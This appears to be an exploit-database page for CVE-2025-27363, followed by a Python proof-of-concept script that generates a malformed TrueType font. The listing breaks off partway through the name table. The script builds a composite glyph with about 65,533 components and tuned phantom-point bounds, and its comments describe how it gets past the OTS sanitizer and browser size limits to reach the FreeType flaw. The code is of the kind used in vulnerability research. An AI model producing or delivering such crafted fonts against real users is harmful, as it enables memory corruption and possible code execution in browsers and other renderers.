Exploit database

GH-6e521432ef41f706b3d7ab8886fb4e94

tin-z/cve-2025-27363

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-27363

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
tin-z/cve-2025-27363Revision 1b5efa8212b3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

font_gen_POC.py

Python · 52,814 bytes
#######################################################################################
# Font_generator: Simple font generator
#
# by  @tin-z (Altin 0v4rl0r5[at]gmail[dot]com)
#######################################################################################
#
# Font_generator is distributed under the MIT License (MIT)
# Copyright (c) 2025, Altin (tin-z)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.


import struct
import time
import random
import sys
import math

DBG = 1

# Define here how many char to map, and so the num of glyphs

#########################
## Modify here
# Define cmap records (Unicode code points to glyph IDs)
cmap_records = {
    0x00: 0,  # .notdef
    0x20: 1,  # space
    0x41: 2,  # A
    0x42: 3,  # B
    #ord('N'): 4,
    #ord('O'): 5,
    #ord('P'): 6,

}

# klyph char per 
glyph_attack_vectors = {
        0x42: 0xfffd,
        #ord('N'): 0xfffd,
        #ord('O'): 0xfffd,
        #ord('P'): 0xfffd,
}

## Also note, from blink code 30MB is font maximum allowed size
#  static const size_t kMaxDecompressedSize =
#      kMaxDecompressedSizeMb * 1024 * 1024;

# so in the end we have 29 composite glyphs, 10MB
#cmap_records.update( {k:(i+len(cmap_records)) for i,k in enumerate(range(ord('C'), ord('Z')+1, 1))} )
#glyph_attack_vectors.update( {k:0xfffd for i,k in enumerate(range(ord('C'), ord('Z')+1, 1))} )
#cmap_records.update( {k:(i+len(cmap_records)) for i,k in enumerate(range(ord('a'), ord('f')+1, 1))} )
#glyph_attack_vectors.update( {k:0xfffd for i,k in enumerate(range(ord('a'), ord('f')+1, 1))} )


num_glyphs = len(cmap_records)

# continue from here
# https://learn.microsoft.com/en-us/typography/opentype/spec/
# https://developer.apple.com/fonts/TrueType-Reference-Manual/RM06/Chap6vmtx.html
# https://www.fontmaster.nl/pdf/OT_docs/OT_Technote.pdf
# https://simoncozens.github.io/fonts-and-layout/opentype.html
# https://adobe-type-tools.github.io/afdko/OpenTypeFeatureFileSpecification.html


# ref: https://learn.microsoft.com/en-us/typography/opentype/spec/chapter2
# Data Type       Description
# uint8           8-bit unsigned integer.
# int8            8-bit signed integer.
# uint16          16-bit unsigned integer.
# int16           16-bit signed integer.
# uint24          24-bit unsigned integer.
# uint32          32-bit unsigned integer.
# int32           32-bit signed integer.
# Fixed           32-bit signed fixed-point number (16.16)
# FWORD           int16 that describes a quantity in font design units.
# UFWORD          uint16 that describes a quantity in font design units.
# F2DOT14         16-bit signed fixed number with the low 14 bits of fraction (2.14).
# LONGDATETIME    Date ... signed 64-bit integer.
# Tag             Array of four uint8s (length = 32 bits)
# Offset8         8-bit offset to a table, same as uint8, NULL offset = 0x00
# Offset16        Short offset to a table, same as uint16, NULL offset = 0x0000
# Offset24        24-bit offset to a table, same as uint24, NULL offset = 0x000000
# Offset32        Long offset to a table, same as uint32, NULL offset = 0x00000000
# Version16       Dot16Packed 32-bit value with major and minor version numbers.
# Version16Dot16  Dot16Packed 32-bit value with major and minor version numbers.



# https://learn.microsoft.com/en-us/typography/opentype/spec/glyf
# Component Glyph flags
# 0x0001 	ARG_1_AND_2_ARE_WORDS 	Bit 0: If this is set, the
#                                   arguments are 16-bit (uint16 or int16); otherwise, they are bytes
#                                   (uint8 or int8).
#
# 0x0002 	ARGS_ARE_XY_VALUES 	Bit 1: If this is set, the
#                                   arguments are signed xy values;
#                                   otherwise, they are unsigned
#                                   point numbers.
#
# 0x0004 	ROUND_XY_TO_GRID 	Bit 2: If set and
#                                   ARGS_ARE_XY_VALUES is also set,
#                                   the xy values are rounded to
#                                   the nearest grid line. Ignored
#                                   if ARGS_ARE_XY_VALUES is not
#                                   set.
#
# 0x0008 	WE_HAVE_A_SCALE 	Bit 3: This indicates that
#                                   there is a simple scale for the
#                                   component. Otherwise, scale =
#                                   1.0.
#
# 0x0020 	MORE_COMPONENTS 	Bit 5: Indicates at least one
#                                   more glyph after this one.
#
# 0x0040 	WE_HAVE_AN_X_AND_Y_SCALE 	Bit 6: The x direction will use
#                                   a different scale from the y
#                                   direction.
#
# 0x0080 	WE_HAVE_A_TWO_BY_TWO 	Bit 7: There is a 2 by 2
#                                   transformation that will be
#                                   used to scale the component.
#
# 0x0100 	WE_HAVE_INSTRUCTIONS 	Bit 8: Following the last
#                                   component are instructions for
#                                   the composite glyph.
#
# 0x0200 	USE_MY_METRICS 	    Bit 9: If set, this forces the
#                                   aw and lsb (and rsb) for the
#                                   composite to be equal to those
#                                   from this component glyph. This
#                                   works for hinted and unhinted
#                                   glyphs.
#
# 0x0400 	OVERLAP_COMPOUND    Bit 10: If set, the components
#                                   of the compound glyph overlap.
#                                   Use of this flag is not
#                                   required — that is, component
#                                   glyphs may overlap without
#                                   having this flag set. When
#                                   used, it must be set on the
#                                   flag word for the first
#                                   component. Some rasterizer
#                                   implementations may require
#                                   fonts to use this flag to
#                                   obtain correct behavior — see
#                                   additional remarks, above, for
#                                   the similar OVERLAP_SIMPLE flag
#                                   used in simple-glyph
#                                   descriptions.
#
# 0x0800 	SCALED_COMPONENT_OFFSET 	Bit 11: The composite is
#                                   designed to have the component
#                                   offset scaled. Ignored if
#                                   ARGS_ARE_XY_VALUES is not set.
#
# 0x1000 	UNSCALED_COMPONENT_OFFSET 	Bit 12: The composite is
#                                   designed not to have the
#                                   component offset scaled.
#                                   Ignored if ARGS_ARE_XY_VALUES
#                                   is not set.
#
# 0xE010 	Reserved 	            Bits 4, 13, 14 and 15 
#                                   are reserved: set to 0.
#
component_glyph_flags = {0x0001, 0x0002, 0x0004, 0x0008, 0x0020, 0x0040, 0x0080}





indexToLocFormat = random.randint(0, 1)

# hack
indexToLocFormat = 1

glyph_offsets = [ -1 for _ in range(num_glyphs+1) ]
numOfLongVerMetrics = 0
numOfLongHorMetrics = 0

axisCount = -1
def_axisCount = 3
instanceCount = -1

lookupListSize = 0
lookupListSizeGPOS = 0

def_itemVariationStoreSize = 2

kMaxGlyphClassDefValue = 4

instancesHavePostScriptNameID = False


valueFormat_flags = {1,2,4,8,0x10,0x20,0x40,0x80}
# 0x0001    X_PLACEMENT         Includes horizontal adjustment for placement.
# 0x0002    Y_PLACEMENT         Includes vertical adjustment for placement.
# 0x0004    X_ADVANCE           Includes horizontal adjustment for advance.
# 0x0008    Y_ADVANCE           Includes vertical adjustment for advance.
# 0x0010    X_PLACEMENT_DEVICE  Includes Device table (non-variable font) / VariationIndex table
#                               (variable font) for horizontal placement.
#
# 0x0020    Y_PLACEMENT_DEVICE  Includes Device table (non-variable font) / VariationIndex table
#                               (variable font) for vertical placement.
#
# 0x0040    X_ADVANCE_DEVICE    Includes Device table (non-variable font) / VariationIndex table
#                               (variable font) for horizontal advance.
#
# 0x0080    Y_ADVANCE_DEVICE    Includes Device table (non-variable font) / VariationIndex table
#                               (variable font) for vertical advance.
#
# 0xFF00    Reserved            For future use (set to zero).
#

r_valueFormat_flags = lambda : random.randint(1, 0x8f)

is_variable_font = False

output_file_format = "TTF"
output_file_tag = b"\x00\x01\x00\x00"


hdmx_insertable = 0




markGlyphSets_count = 0


mp_0_f = lambda x : random.randint(0,9) // x
mp_0_1 = lambda : mp_0_f(9)     # 0.9 prob false
mp_0_2 = lambda : mp_0_f(8)     # 0.8 prob false
mp_0_3 = lambda : mp_0_f(7)     # 0.7 prob false
mp_0_4 = lambda : mp_0_f(6)     # 0.6 prob false
mp_0_5 = lambda : random.randint(0,1) # 0.5 prob false
mp_0_6 = lambda : mp_0_f(4)     # 0.4 prob false
mp_0_7 = lambda : mp_0_f(3)     # 0.3 prob false
mp_0_8 = lambda : mp_0_f(2)     # 0.2 prob false
mp_0_9 = lambda : mp_0_f(2)     # 0.1 prob false
mp_0_10 = lambda : 1            # 0.0 prob false







u32 = 2**32-1
i32_min = -2**31
i32_max = 2**31-1
#
u16 = 2**16-1
i16_min = -2**15
i16_max = 2**15-1
#
u8 = 2**8-1
i8_min = -2**7
i8_max = 2**7-1

r32 = lambda : random.randint(0, u32)
ri32 = lambda : random.randint(i32_min, i32_max)
r16 = lambda : random.randint(0, u16)
ri16 = lambda : random.randint(i16_min, i16_max)
ri16_pos = lambda : random.randint(0, i16_max)
ri16_neg = lambda : random.randint(i16_min, -1)
r8 = lambda : random.randint(0, u8)
ri8 = lambda : random.randint(i8_min, i8_max)
#
r10 = lambda : random.choice([1,7,8,10])
r128 = lambda : random.choice([1,8,10,0x7f,0x80])
r256 = lambda : random.choice([1,10,0x7f,0x80,0xff,0x100])
r65535 = lambda : random.choice([0, 1, 0x7,0x8,0xf,0x10,0x7f,0x80,0xff,0x100, 0xfffe, 0xffff])

r32g = lambda : random.choice(
    [   0, 1, 0x7,0x8,0xf,0x10,0x7f,0x80,0xff,0x100, 0xfffe, 0xffff, 
        0xf0ffff, 0xf00ffff, 0xf000ffff, 0x7ffffffe, 0xffffffff
    ]
)


#
rbit_f = lambda x : random.randint(0, 2**x-1)
rbit  = lambda : rbit_f(1)
rbit2  = lambda : rbit_f(2)
rbit3  = lambda : rbit_f(3)
rbit4  = lambda : rbit_f(4)
rbit5  = lambda : rbit_f(5)
rbit6  = lambda : rbit_f(6)
rbit7  = lambda : rbit_f(7)
rbit8  = lambda : rbit_f(8)
rbit12 = lambda : rbit_f(12)
rbit13 = lambda : rbit_f(13)
rbit14 = lambda : rbit_f(14)
rbit15 = lambda : rbit_f(15)
rbit16 = lambda : rbit_f(16)
rbit17 = lambda : rbit_f(17)
rbit18 = lambda : rbit_f(18)
rbit19 = lambda : rbit_f(19)
rbit20 = lambda : rbit_f(20)
rbit21 = lambda : rbit_f(21)
rbit22 = lambda : rbit_f(22)
rbit23 = lambda : rbit_f(23)
rbit24 = lambda : rbit_f(24)
rbit28 = lambda : rbit_f(28)
rbit32 = lambda : rbit_f(32)
#
rbit_lim_f = lambda x : random.choice([2**x-1 for x in range(x+1)])
rbit_lim = lambda : rbit_lim_f(1)
rbit2_lim = lambda : rbit_lim_f(2)
rbit3_lim = lambda : rbit_lim_f(3)
rbit4_lim = lambda : rbit_lim_f(4)
rbit5_lim = lambda : rbit_lim_f(5)
rbit6_lim = lambda : rbit_lim_f(6)
rbit7_lim = lambda : rbit_lim_f(7)
rbit8_lim = lambda : rbit_lim_f(8)
rbit9_lim = lambda : rbit_lim_f(9)
rbit10_lim = lambda : rbit_lim_f(10)
rbit11_lim = lambda : rbit_lim_f(11)
rbit12_lim = lambda : rbit_lim_f(12)
rbit13_lim = lambda : rbit_lim_f(13)
rbit14_lim = lambda : rbit_lim_f(14)
rbit15_lim = lambda : rbit_lim_f(15)
rbit16_lim = lambda : rbit_lim_f(16)
rbit17_lim = lambda : rbit_lim_f(17)
rbit18_lim = lambda : rbit_lim_f(18)
rbit19_lim = lambda : rbit_lim_f(19)
rbit20_lim = lambda : rbit_lim_f(20)
rbit21_lim = lambda : rbit_lim_f(21)
rbit22_lim = lambda : rbit_lim_f(22)
rbit23_lim = lambda : rbit_lim_f(23)
rbit24_lim = lambda : rbit_lim_f(24)
rbit25_lim = lambda : rbit_lim_f(25)
rbit26_lim = lambda : rbit_lim_f(26)
rbit27_lim = lambda : rbit_lim_f(27)
rbit28_lim = lambda : rbit_lim_f(28)
rbit29_lim = lambda : rbit_lim_f(29)
rbit30_lim = lambda : rbit_lim_f(30)
rbit31_lim = lambda : rbit_lim_f(31)
rbit32_lim = lambda : rbit_lim_f(32)
#
r_neg16bit = lambda : random.choice([0x7777,0x7f7f,0xf7f7,0xffff])

r_even = lambda x : random.choice(range(2, x+1, 2))

r_ascii = lambda : random.randint(0x20, 126)
r_tag = r_ascii



## Set Phantom Points
#
# ref: https://developer.apple.com/fonts/TrueType-Reference-Manual/RM06/Chap6gvar.html
#
# So that a glyph can vary in its dimensions as well as its shape, tuples have
# entries for each point in the glyph plus entries for four "phantom points,"
# which represent the glyph's side-bearings. These phantom points are, in
# order, the left-side phantom point, the right-side phantom point, the top
# phantom point, and the bottom phantom point.
#
#
# more details can be found in tt_loader_set_pp function
# 
#
##
pp_delta = 0x200
pp_xMin = i16_min + pp_delta
pp_yMin = i16_min + pp_delta
pp_xMax = i16_max - pp_delta
pp_yMax = i16_max - pp_delta

pp = [ {} for _ in range(5) ]

for i in range(1,5):
    #pp_x = (0x10 * (2**i))
    #pp_y = (0x10 * (2**i)) | 0x1
    pp_x = 0
    pp_y = 0
    pp[i]["x"] = pp_x
    pp[i]["y"] = pp_y

pp[1]["x"] = -1
#pp[2]["x"] = 2  # must be 2 so we can set pp3.x and pp4.y to 1
pp[2]["x"] = 1

# these values depends on pp2.x and pp1.x
pp[3]["x"] = 1
pp[4]["x"] = 1


#
# extract from  tt_loader_set_pp function:
#
#
#    use_aw_2 = FT_BOOL( subpixel_hinting && grayscale );
#
#    loader->pp1.x = loader->bbox.xMin - loader->left_bearing;
#    loader->pp1.y = 0;
#    loader->pp2.x = loader->pp1.x + loader->advance;
#    loader->pp2.y = 0;
#
#    loader->pp3.x = use_aw_2 ? loader->advance / 2 : 0;
#    loader->pp3.y = loader->bbox.yMax + loader->top_bearing;
#    loader->pp4.x = use_aw_2 ? loader->advance / 2 : 0;
#    loader->pp4.y = loader->pp3.y - loader->vadvance;
# 
#
# freetype/ftglyph.h
#   *     width  = bbox.xMax - bbox.xMin;
#   *     height = bbox.yMax - bbox.yMin;
# 
#
# pp1.x = xMin - lsb
# lsb = xMin - pp1.x
#
# pp2.x = pp1.x + width
# width = pp2.x - pp1.x
#
# pp3.y = yMax + tsb
# tsb = pp3.y - yMax
#
# pp4.y = pp3.y - height
# height = pp3.y - pp4.y
#
# advance = width = pp2.x - pp1.x 
# pp3.x = pp4.x = advance / 2
#
# fix non negative pp3.y and pp4.y
# pp3.y should be greater or equal to pp4.y
pp[3]["y"] = 0


# after inspecting freetype initiliazing loader->pp1 
# we noticed that /* pp1.y and pp2.y are always zero */

pp_lsb = pp_xMin - pp[1]["x"]
pp_width = pp[2]["x"] - pp[1]["x"]
pp_tsb = pp[3]["y"] - pp_yMax
pp_height = pp[3]["y"] - pp[4]["y"]



print("PP constants")
print("")
print(f"pp1.x: {hex(pp[1]['x'])}")
print(f"pp2.x: {hex(pp[2]['x'])}")
print(f"pp3.x: {hex(pp[3]['x'])}")
print(f"pp4.x: {hex(pp[4]['x'])}")
print("")
print(f"width:  {pp_width}")
print(f"lsb:    {pp_lsb}")
print(f"height: {pp_height}")
print(f"tsb:    {pp_tsb}")
print("")




def roundup(x,y):
    e = x % y
    if e:
        return (y - e)
    return 0

round4 = lambda x: roundup(x,4)


def d_round4(data, default_byte=b"\x00"):
    l1 = len(data)
    l2 = round4(l1)
    if l2:
        data += l2*default_byte
    return data


def create_font(output_path):
    def write_sfnt_header(num_tables):
        global output_file_tag
        # SFNT header structure
        sfnt_format = '>HHHH'
        search_range = 16 * (2 ** ((num_tables - 1).bit_length() - 1))
        entry_selector = (num_tables - 1).bit_length() - 1
        range_shift = (num_tables * 16) - search_range
        return output_file_tag + struct.pack(
            sfnt_format,
            num_tables,  # Number of tables
            search_range,  # Maximum power of 2 <= numTables*16
            entry_selector,  # Log2(max power of 2)
            range_shift  # NumTables*16 - SearchRange
        )

    def write_table_directory(offset, tables):
        # Each table entry is 16 bytes: tag, checksum, offset, length
        offset += 16 * len(tables)
        print(f"Data offset starting from: 0x{offset:x}")
        directory = b''
        for i, (tag, data) in enumerate(tables):
            #checksum = sum(struct.unpack(
            #    '>I', data[i:i+4] + b'\0' * (4 - len(data[i:i+4])))
            #    for i in range(0, len(data), 4)
            #) & 0xFFFFFFFF
            checksum = 0

            # hack
            data_len = len(data)
            data = d_round4(data) # set 0s but don't update length, offset must be 4-byte aligned cause ots

            if tag in ["cvt ", "fpgm", "prep"]:
                data_len = len(data)

            directory += struct.pack(
                '>4sIII',
                tag, checksum, offset, data_len
            )
            offset += len(data)
            print("{} 0x{:x} 0x{:x}".format(tag, offset, len(data)))
            tables[i][1] = data

        return directory


    def write_glyf_table():
        # TODO:
        #   - improve
        """
        Generate a simplified glyf table for the glyphs .notdef, space, A, B.
        Each glyph will have randomized outlines or no outlines for simplicity.
        """
        global glyph_offsets
        global cmap_records, glyph_attack_vectors

        def create_composite_glyph(glyph_indexes, custom_borders=[], instr=[]):
            global component_glyph_flags
            #
            xMin = i16_min
            yMin = i16_min
            xMax = i16_max
            yMax = i16_max
            if custom_borders :
                xMin = custom_borders[0]
                yMin = custom_borders[1]
                xMax = custom_borders[2]
                yMax = custom_borders[3]
            #
            header = struct.pack(">5h", -1, xMin, yMin, xMax, yMax)
            body = b""
            # 0x0020 	MORE_COMPONENTS 	Bit 5: Indicates at least one
            lst = glyph_indexes[:-1]
            til = glyph_indexes[-1]

            if len(glyph_indexes) > 1:
                for idx in lst:
                    flg = 0x20 # repeat flag flag
                    body += struct.pack(">2H2B", flg, idx, 0, 0)
            
            WE_HAVE_A_TWO_BY_TWO = 0x0080
            WE_HAVE_INSTRUCTIONS = 0x0100
            flg = WE_HAVE_INSTRUCTIONS if instr != [] else 0
            #flg |= WE_HAVE_A_TWO_BY_TWO

            body += struct.pack(">2H2B", flg, til, 0, 0)

            #xscale = 1
            #scale01 = 1
            #scale10 = 1
            #yscale = 1
            #body += struct.pack(">4h", xscale, scale01, scale10, yscale)
 
            if flg:
                body += struct.pack(">H", len(instr))
                body += b"".join([struct.pack("B", x) for x in instr])

            return header+body

        def create_simple_glyph(contours, points):
            """
            Helper to create a simple glyph.
            - `contours`: Number of contours in the glyph (0 for empty).
            - `points`: List of tuples for (x, y) points in the contour.
            """
            # Glyph header format: '>3hH3h'
            # - numberOfContours: short
            # - xMin, yMin, xMax, yMax: short each
            # Contour end points, instruction length, instructions, and coordinates follow.
            num_contours = len(contours)
            x_coords = [p[0] for p in points]
            x_coords.sort()
            y_coords = [p[1] for p in points]
            y_coords.sort()
            # Calculate bounds
            x_min = random.randint(i16_min+1, i16_max-1) if x_coords else 0
            y_min = random.randint(i16_min+1, i16_max-1) if y_coords else 0
            x_max = random.randint(x_min, i16_max-1) if x_coords else 0
            y_max = random.randint(y_min, i16_max-1) if y_coords else 0
            # Build glyph header
            header = struct.pack(
                '>h4h',
                num_contours, x_min, y_min, x_max, y_max
            )
            if num_contours > 0:
                # Contour end points
                end_pts_of_contours = b''.join(struct.pack('>H', p) for p in contours)
                # No instructions (dummy for now)
                instructions = b''
                instruction_length = struct.pack('>H', 0)
                variable_size = contours[-1]
                flags = b'\x00' * (variable_size+1)
                x_deltas = b''.join(struct.pack('>h', x) for x in x_coords)
                y_deltas = b''.join(struct.pack('>h', y) for y in y_coords)

                rets = header + end_pts_of_contours + instruction_length + instructions + flags + x_deltas + y_deltas

            else:
                rets = header
            print("RETS: ")
            print(contours, points)
            print(rets)
            print("")
            return rets

    
        # Randomize glyph points for demonstration purposes
        def random_points(count, x_range, y_range):
            return [(random.randint(*x_range), random.randint(*y_range)) for _ in range(count)]
    
        # Glyph definitions with randomized points
        glyphs = {
            #'.notdef': create_simple_glyph(
            #    [1], 
            #    random_points(1, (0, 100), (0, 100))
            #),  # Empty glyph
            #'space': create_simple_glyph(
            #    [1], 
            #    random_points(1, (0, 100), (0, 100))
            #),
            '.notdef': create_simple_glyph(
                [1], 
                random_points(1+1, (0, 100), (0, 100))
            ),
            'space': create_simple_glyph(
                [], 
                [],
            ),
            'A': create_simple_glyph(
                [3], 
                random_points(3+1, (0, 100), (0, 100))
            ),
        }

        custom_glyphs = []

        for k in list(cmap_records.keys())[3:] :
            if k == 0:
                continue
            if chr(k) not in glyphs:
                custom_glyphs.append(chr(k))
                glyphs.update({
                    chr(k): create_simple_glyph(
                        [1], 
                        random_points(1+1, (0, 100), (0, 100))
                    )
                })

        for k, composite_size in glyph_attack_vectors.items():
            glyphs.update({
                chr(k) : create_composite_glyph(
                    #[2 for _ in range(0xfffd)] # avoid ots check on accumulated points:
                                                # component_point_count.accumulated_component_points > u16
                    [1 for _ in range(0xfffd)], # -3 -> 0x10 chunk
                    #[1 for _ in range(0xfffe)], # -2 -> 0x20 chunk
                    #[1 for _ in range(0xffff)], # -1 -> 0x30 chunk
                    #[1 for _ in range(composite_size)],
                    custom_borders=[pp_xMin, pp_yMin, pp_xMax, pp_yMax],
                    instr = [0x00]
                )
            })

        glyf_data = b''.join(glyphs[g] for g in ['.notdef', 'space', 'A'] + custom_glyphs )
        tot_offset = 0
        tot_glyphs = list(glyphs.items())
        for i,[k,v] in enumerate(tot_glyphs):
            if i == 0:
                glyph_offsets[i] = 0
            else:
                glyph_offsets[i] = glyph_offsets[i-1] + len(tot_glyphs[i-1][1])

        glyph_offsets[-1] = len(glyf_data)
        # Combine glyphs into glyf table
        for i,v in enumerate(glyph_offsets):
            if v < 0:
                raise Exception(f"glyf {i} offset is not initialized")
        #
        return [b'glyf', glyf_data]


    def write_head_table():
        # parsed
        # <head> table in fixed format
        global indexToLocFormat, hdmx_insertable
        indexToLocFormat = random.randint(0, 1)

        # hack
        indexToLocFormat = 1

        head_format = '>2H3I2H2q4h2H3h'
        # ots: // We allow bits 0..4, 11..13
        flags = random.randint(0, 2**5-1) | (random.randint(0, 2**3-1) << 11)
        #
        # fix
        # cause ots drops hdmx table if if ((head->flags & 0x14) == 0) {
        #
        # also this flag is used for setting ClearType mode on freetype i guess
        flags |= 0x14
        # fix
        #
        hdmx_insertable = flags & 0x14
        upem = random.randint(16, 16384)
        xmin = random.randint(i16_min, i16_max-1)
        ymin = random.randint(i16_min, i16_max-1)
        xmax = random.randint(xmin+1, i16_max)
        ymax = random.randint(ymin+1, i16_max)
        macStyle = random.randint(1,0x7f)

        table_data = struct.pack(
            head_format,
            1,
            0,
            1,
            0x9fe5c40f,
            0x5f0f3cf5,
            flags,
            upem,
            int(time.mktime(time.strptime("Tue Sep 20 15:02:17 2016", "%a %b %d %H:%M:%S %Y"))),
            int(time.mktime(time.strptime("Tue Sep 20 15:02:17 2016", "%a %b %d %H:%M:%S %Y"))),
            xmin,
            ymin,
            xmax,
            ymax,
            macStyle,
            0,
            random.randint(-2, 2),  # Randomized fontDirectionHint
            indexToLocFormat,
            0
        )

        return [b'head', table_data]


    def write_maxp_table():
        # parsed
        """
        Generate a maxp table for 4 glyphs with randomized values.
        """
        # Randomly choose version: 0x00005000 (version 0.5) or 0x00010000 (version 1.0)
        global num_glyphs
        version = random.choice([0x00005000, 0x00010000])
    
        #hack
        version = 0x00005000
    
        if version == 0x00005000:
            # Version 0.5 structure
            maxp_format = '>IH'
            table_data = struct.pack(maxp_format, version, num_glyphs)
            print("[maxp] version 0.5: ", maxp_format, version, num_glyphs)
        else:
            # Version 1.0 structure
            maxp_format = '>IH13H'
            print("[maxp] version 1.0: ", maxp_format, version, num_glyphs)
            # Randomized values for additional fields
            max_points = random.randint(10, 50)
            max_contours = random.randint(1, 10)
            max_composite_points = random.randint(0, 50)
            max_composite_contours = random.randint(0, 10)
            max_zones = random.choice([1, 2])
            max_twilight_points = random.randint(0, 20)
            max_storage = random.randint(0, 20)
            max_function_defs = random.randint(1, 10)
            max_instruction_defs = random.randint(0, 10)
            max_stack_elements = random.randint(200, 500)
            max_size_of_instructions = random.randint(0, 300)
            max_component_elements = random.randint(1, 5)
            max_component_depth = random.randint(1, 3)
    
            table_data = struct.pack(
                maxp_format,
                version,
                num_glyphs,
                max_points,
                max_contours,
                max_composite_points,
                max_composite_contours,
                max_zones,
                max_twilight_points,
                max_storage,
                max_function_defs,
                max_instruction_defs,
                max_stack_elements,
                max_size_of_instructions,
                max_component_elements,
                max_component_depth
            )
    
        return [b'maxp', table_data]


    def write_cmap_table():
        # parsed
        """
        Generate a cmap table for 4 glyphs with randomized entries.

        For now use only cmap format 0, with cmap_records indexed
        and the rest chars being mapped to glyphid 0

        TODO:
            - cmap format 8, ...
        """
        # Randomize platformID and encodingID combinations
        global num_glyphs, cmap_records
        platform_ids = [0, 1, 3] #, 4]  # Unicode, Macintosh, Windows, Custom
        encoding_ids = {
            0: [0, 1, 3, 4], #, 5],  # Unicode
            1: [0], #1],        # Macintosh
            3: [0, 1], #, 10],    # Windows
            # 4: [0]            # Custom (not supported by ots)
        }

        formats_sup = {
            0 : {
                0 : [4],
                1 : [4],
                3 : [4, 12],
                4 : [12],
                5 : [14],
            },
            1 : {
                0 : [0],
            },
            3 : {
                0 : [4],
                1 : [4],
                10 : [12,13],
            }
        }

        format_not_validated = [2,6,8,10]
        for platform in formats_sup:
            for k in formats_sup[platform]:
                formats_sup[platform][k].extend(format_not_validated)

        # Random number of subtables (1 to 20)
        num_subtables = random.randint(2, 4)
        # hack
        num_subtables = 1

        # Construct cmap header
        cmap_format = '>HH'
        cmap_data = struct.pack(cmap_format, 0, num_subtables)
    
        # Generate subtables
        subtable_entries = []
        subtable_data = b''

        # hack
        # to fix this
        def gen_valid_range_count():
            global num_glyphs, cmap_records
            segcount_start = (num_glyphs if num_glyphs % 2 else num_glyphs) + 4
            segcount = random.choice(range(segcount_start, segcount_start+4, 2))
            segcountx2 = segcount << 1
            log2segcount = 0
            while (1 << (log2segcount + 1)) <= segcount:
                log2segcount += 1
            expected_search_range = 2 * (1 << log2segcount)
            range_shift = segcountx2 - expected_search_range
            return segcountx2, expected_search_range, log2segcount, range_shift


        def write_cmap_format_4_POC(*args, **kwargs):
            # ref https://learn.microsoft.com/en-us/typography/opentype/spec/cmap
            global num_glyphs, cmap_records
            #
            segCount = len(cmap_records)
            segcountx2 = segCount*2
            log2segcount = math.floor(math.log2(segCount))
            expected_search_range = 2 * (2**log2segcount)
            range_shift = segcountx2 - expected_search_range
            ranges = [segcountx2, expected_search_range, log2segcount, range_shift]
            #
            glyph_size = 0
            #
            subtable_length = (2 * ((4 * segCount) + glyph_size)) + 6 + 8 + 2
            subtable_header = struct.pack('>7H', 4, subtable_length, 0, *ranges)
            #
            # endCodes and startcodes must be in a incremental order
            endCodes = []
            startCodes = []
            idDeltas = []
            for k,gid_ in cmap_records.items():
                if k == 0:
                    continue
                startCodes.append(k)
                endCodes.append(k)
                idDeltas.append(gid_ - k)
            
            startCodes.append(0xffff)
            endCodes.append(0xffff)
            idDeltas.append(1)

            size_codes = len(endCodes)
            print(size_codes, endCodes)
            print(*[0 for _ in range(len(endCodes))])
            fmt_ = f">{size_codes}H"
            fmt_2_ = f">{size_codes}h"

            endCodes = struct.pack(fmt_, *endCodes)
            padding = struct.pack('>H', 0)
            startCodes = struct.pack(fmt_, *startCodes)
            idDeltas = struct.pack(fmt_2_, *idDeltas)
            idRangeOffset = b"\x00\x00" * size_codes
            glyphIdArray = b""
            #
            subtable_body = endCodes + padding + startCodes + idDeltas + idRangeOffset + glyphIdArray
            #
            return subtable_header + subtable_body



        cmap_func_table = {
                #0 : write_cmap_format_0,
                #2 : write_cmap_format_2,
                #4 : write_cmap_format_4,
                4 : write_cmap_format_4_POC,
                #6 : write_cmap_format_6,
        }
        #
        cmap_func_table_keys = list(cmap_func_table.keys())
        cc = 0

        while cc < num_subtables:
            sub_platform_id = random.choice(platform_ids)
            sub_encoding_id = random.choice(encoding_ids[sub_platform_id])
            # Create subtable format and data
            cmap_formats = list(set(formats_sup[sub_platform_id][sub_encoding_id]).intersection(set(cmap_func_table_keys)))
            if not cmap_formats:
                # retry
                continue

            cmap_format_now = random.choice(cmap_formats)

            # insert at least one table platform 0, encoding 3, format 4
            # otherwise ots:serialize fails
            if cc == 0:
                sub_platform_id = 0
                sub_encoding_id = 3
                cmap_format_now = 4

            # hack
            sub_platform_id = 0
            sub_encoding_id = 3
            cmap_format_now = 4

            # Calculate subtable length and offset
            #subtable_length = random.randint(16, 256)  # Random length
            subtable_offset = len(subtable_data) + num_subtables * 8 + 4  # Offset calculation
            # Add subtable entry
            subtable_entries.append((sub_platform_id, sub_encoding_id, subtable_offset))
            cmap_func = cmap_func_table[cmap_format_now]
            subtable_data += cmap_func()
            cc += 1

        # Add subtable entries to cmap_data
        for platform_id, encoding_id, offset in subtable_entries:
            cmap_data += struct.pack('>HHI', platform_id, encoding_id, offset)
    
        # Add subtable data
        cmap_data += subtable_data
    
        return [b'cmap', cmap_data]


    def write_name_table():
        # TODO:
        #   - improve
        #
        # Minimal <name> table

        # NOTE:
        # both mac and windows plat_id are required cause of ots sanitizer
        # otherwise OTS default family name is used
        #
        name_format = '>HHH'
        name_records = [
            (1, 0, 0, 1, "Pino-DLC"),
            (1, 0, 0, 2, "Regular"),
            (1, 0, 0, 3, "Test Font 2"),
            (1, 0, 0, 4, "Test Font 3"),
            (1, 0, 0, 6, "Test-Font-4"),
            (3, 1, 0x409, 1, "Pino-DLC"),
            (3, 1, 0x409, 2, "Regular"),
            (3, 1, 0x409, 3, "Test Font 2"),
